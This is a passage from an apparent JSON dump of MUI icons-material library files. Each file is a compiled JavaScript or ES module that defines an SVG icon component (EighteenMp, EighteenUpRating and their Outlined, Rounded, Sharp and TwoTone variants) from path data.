    "path": "packages/mui-icons-material/lib/EighteenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\"\n}, \"2\")], 'EighteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\"\n}, \"2\")], 'EighteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 10.5v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1m6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"2\")], 'EighteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 10.5v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1m6 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zM15 14h1.5v1.5H15z\"\n}, \"2\")], 'EighteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm0-2.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h4.5v6H12zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'EighteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zm0-2.5H15V8h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h4.5v6H12zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'EighteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\"\n}, \"5\")], 'EighteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 6.5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1zm-5-1h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5H15V8h-1.5zm0 2.5H15v1.5h-1.5z\"\n}, \"5\")], 'EighteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRating.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 12H8.5v-4.5H7V9h3zm6-1c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRating');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRating.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 12H8.5v-4.5H7V9h3zm6-1c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRating');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 15H15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H13zm0 2.5h1.5V14H13z\"\n}, \"2\")], 'EighteenUpRatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 15H15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H13zm0 2.5h1.5V14H13z\"\n}, \"2\")], 'EighteenUpRatingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S7.34 9 7.75 9H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75M16 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S7.34 9 7.75 9H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75M16 14c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRatingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM10 15H8.5v-4.5H7V9h3zm6-1c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 12.5h1.5V14H13zm0-2.5h1.5v1.5H13z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM10 15H8.5v-4.5H7V9h3zm6-1c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H15c.55 0 1 .45 1 1z\"\n}, \"1\")], 'EighteenUpRatingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10h1.5v1.5H13zm0 2.5h1.5V14H13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm6.5-9c0-.55.45-1 1-1H15c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1zM7 9h3v6H8.5v-4.5H7z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 15H15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H13zm0 2.5h1.5V14H13z\"\n}, \"4\")], 'EighteenUpRatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EighteenUpRatingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10h1.5v1.5H13zm0 2.5h1.5V14H13z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm6.5-9c0-.55.45-1 1-1H15c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-2.5c-.55 0-1-.45-1-1zM7 9h3v6H8.5v-4.5H7z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 15H15c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-2.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-5h1.5v1.5H13zm0 2.5h1.5V14H13z\"\n}, \"4\")], 'EighteenUpRatingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4zm-3 0H15V9h-1.5v1.5zm0-2.5H15V6.5h-1.5V8zm2 6H17v1.5h-1.5z\"\n}), 'EightteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMp.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1v5zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2v1.5zM10 5.5v6H8.5V7H7V5.5h3zm6.5 5c0 .55-.45 1-1 1H13c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4zm-3 0H15V9h-1.5v1.5zm0-2.5H15V6.5h-1.5V8zm2 6H17v1.5h-1.5z\"\n}), 'EightteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpOutlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\"\n}, \"2\")], 'EightteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpOutlined.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5V14zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5v6zM15 14h1.5v1.5H15V14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.5 0h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1zm.5-5H15V8h-1.5V6.5zm0 2.5H15v1.5h-1.5V9z\"\n}, \"2\")], 'EightteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EightteenMpRounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75zm4.75 12.25c0 